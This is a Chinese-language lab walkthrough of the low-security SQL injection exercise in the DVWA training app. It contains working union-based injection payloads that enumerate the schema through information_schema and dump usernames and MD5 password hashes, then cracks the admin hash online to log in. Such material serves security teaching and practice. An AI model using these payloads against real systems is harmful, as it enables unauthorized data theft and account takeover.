1、設置
把安全等級先調整為low,讓自己獲得點信心,免得一來就被打臉。
2、測試和分析頁面的功能
這里有一個輸入框
根據上面的提示,輸入用戶的id。然后我們輸入之后,發現它返回了關於這個user的信息!這里我們輸入了“1”。
它返回三行數據,一行是我們輸入的用戶ID。一行是用戶名,另外一行是用戶別名。同時,看一下瀏覽器的地址欄那里,發現url成這樣了
這里有個id=1,是不是就是我們輸入的user id呢?再輸入“2”,發現url變成了
好了,到這里,我們可以得出這里傳進去的id的值是我們可以控制的。我們在輸入框中輸入什么,就會通過id傳進去什么!
3、對參數進行測試
對id這個參數進行測試,查看一下它是否存在sql注入漏洞。我們在輸入框里面輸入“1'”,注意1后面有一個單引號“'”。
發現這里報錯了,說我們的sql語句出現了語法錯誤。
我們可以進行這樣一個猜測:首先它這個id是被兩個“'”包住的。查詢語句可能是這樣的:
select firstname,surname from users where id = '1';
當我們在1之后加一個引號,則會導致單引號數目不平衡,那么查詢語句會變成這樣:
select firstname,surname from users where id = '1'';
可以看到最后一個引號沒被閉合,那我們該怎么辦呢?其實有好多種解決的辦法,下面就簡單介紹下。
方法一:可以在原來的基礎上再繼續輸入一個引號,也就是“1''”。這時我們看一下查詢語句:
select firstname,surname from users where id = '1''';
* 在where語句中,當出現多個字符串的時候,“=”將會選擇優先級最高的一個,優先級是從左到右,依次降低的,也就是離“=”最近的一個。
看到了么,出來的結果還是和user_id=1一樣。
方法二:使用“#”符號來注釋后面的單引號,到時查詢語句將會變成這樣:
select firstname,surname from users where id = '1'#';
方法三:使用“-- ”。這里注意了“-- ”后面有一個空格。在url當中,我們可以使用“+”來代替“--”后面的空格。到時查詢語句將會變成這樣:
select firstname,surname from users where id = '1'--+';
上面顯示出來的結果和輸入1時一樣。到這里我們就可以確定:
-
漏洞的參數是“id”。
-
漏洞的類型是字符型。
4、構造payload
好了,在我們確認漏洞之后,就可以構造payload了。什么是payload?說白了就是一段惡意代碼,以便我們能夠獲得數據庫里面的數據。
4.1 分析字段數
分析字段數的話,也是有兩種方法。
方法一:用order by 語句。
分析字段數的原因是我們之后需要用union select語句來獲得我們需要的敏感數據。根據order by知識知道,要是后面跟着的數字超出了字段數時,就會報錯!通過這個我們可以確定字段數。我們構造的payload如下:
1' order by 1#
1' order by 2#
1' order by 3#
當輸入到3的時候,發現它報錯了,也就是說字段數為2。
方法二:直接用union select來猜測字段數。
因為當字段數不對應的時候,它也是會發生報錯的!我們構造以下查詢語句:
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
可以發現,當union select 1,2,3的時候報錯,union select 1,2的時候沒有報錯,也就是說字段數為2。同時,我們也注意到,好像返回的內容中多了三條數據,這是啥呢?其實這就是我們union select出來的數據。這樣通過查看頁面,我們便可以獲得數據庫里面的信息了!
4.2 獲取信息
字段數為2,說明數據列有兩列。我們可以通過union select語句查出兩個數據。好了,我們來獲取所需要的數據庫里面的信息吧!
4.2.1 獲取當前數據庫名,當前用戶名
構造數據庫查詢語句如下所示:
1' union select database(),user()#
解釋一下,database()將會返回當前網站所使用的數據庫名字,user()將會返回進行當前查詢的用戶名。
好的,我們可以看到當前使用的數據庫為:dvwa,當前的用戶名:root@localhost。
有時候,后面的select語句會限制輸出的行數,一般來說,都會讓原數據庫查詢無效,也就是輸入無效的id,使得原數據庫查詢不反回結果。如下操作:
-1' union select database(),user()#
這樣就只會返回我們需要的數據了。
類似的函數還有:version() 獲取當前數據庫版本,@@version_compile_os獲取當前操作系統。
-1' union select version(),@@version_compile_os#
* 數據庫版本高於5.0就可以爆庫了,下面會具體講解。
4.2.2 獲取當前的用戶表
根據上面的信息,我們知道當前數據庫名為dvwa,可是還不夠呀,表名是什么?內容又是什么?是不是打算放棄了?先吃根辣條冷靜一下吧。
想想看,當你有不懂的字會怎么辦呢?不要動不動就去百度,除了問度娘,還能怎么做呢?對了,查字典。那么mysql有沒有類似於字典的東西呢?答案是肯定的,就是information_schema,這是一個包含了mysql數據庫所有信息的“字典”,本質上還是一個database,存放着其他各個數據的信息。
在information_schema里,有一個表tables。有一個columns……是不是有點感覺了? tables這個表存放的是關於數據庫中所有表的信息,里面有個字段叫table_name,還有個字段叫做table_schema。其中table_name是表名,table_schema表示的是這個表所在的數據庫。對於columns,它有column_name,table_schema,table_name。回想一下,我們擁有的信息是數據庫名。也就是說我們可以構造這樣的payload來從數據庫里獲取一些東西。
好的,構造的查詢語句如下:
-1' union select table_name,2 from information_schema.tables where table_schema= 'dvwa'#
爆出來兩個表,對那個感興趣呢???當然是users表啦!不是說還有一個columns表么?所以我們還需要table_name以及table_schema來查column_name。這次我們構造的payload如下:
-1' union select column_name,2 from information_schema.columns where table_schema= 'dvwa' and table_name= 'users'#
這里簡單說一下,倘若不指定數據庫名為'dvwa',若是其他數據里面也存在users表的話,則會出現很多混淆的數據。當然,在這里直接使用下面的語句也是可以成功的。
-1' union select column_name,2 from information_schema.columns where table_name='users'#
跟上一條結果一樣吧?
又來了,這么多數據,選哪個呢???廢話,當然是user,password啦。我們再次修改payload:
-1' union select user,password from users#
Binggo!我們爆出所有的用戶名和密碼值!等等,這密碼好像有點奇葩,數一數,32位!好吧,是經過md5加密的。好不容易爆出管理員賬號和密碼,但是密碼卻加密,這就沒有辦法了嗎?不一定!我們需要找一些破解md5值的網站來進行破解!直接百度“CMD5”,然后選擇一個網站進去破解就可以了。
我們選擇admin這個來進行破解,md5密文為:21232f297a57a5a743894a0e4a801fc3。
可以看到密碼已經被破解出來了,密碼是“admin”,好的,我們來驗證一下!
看,這個時候我們已經成功登陸了!
好的,簡單的SQL注入就說到這兒了,下次我們將進行DVWA里面的中級SQL注入。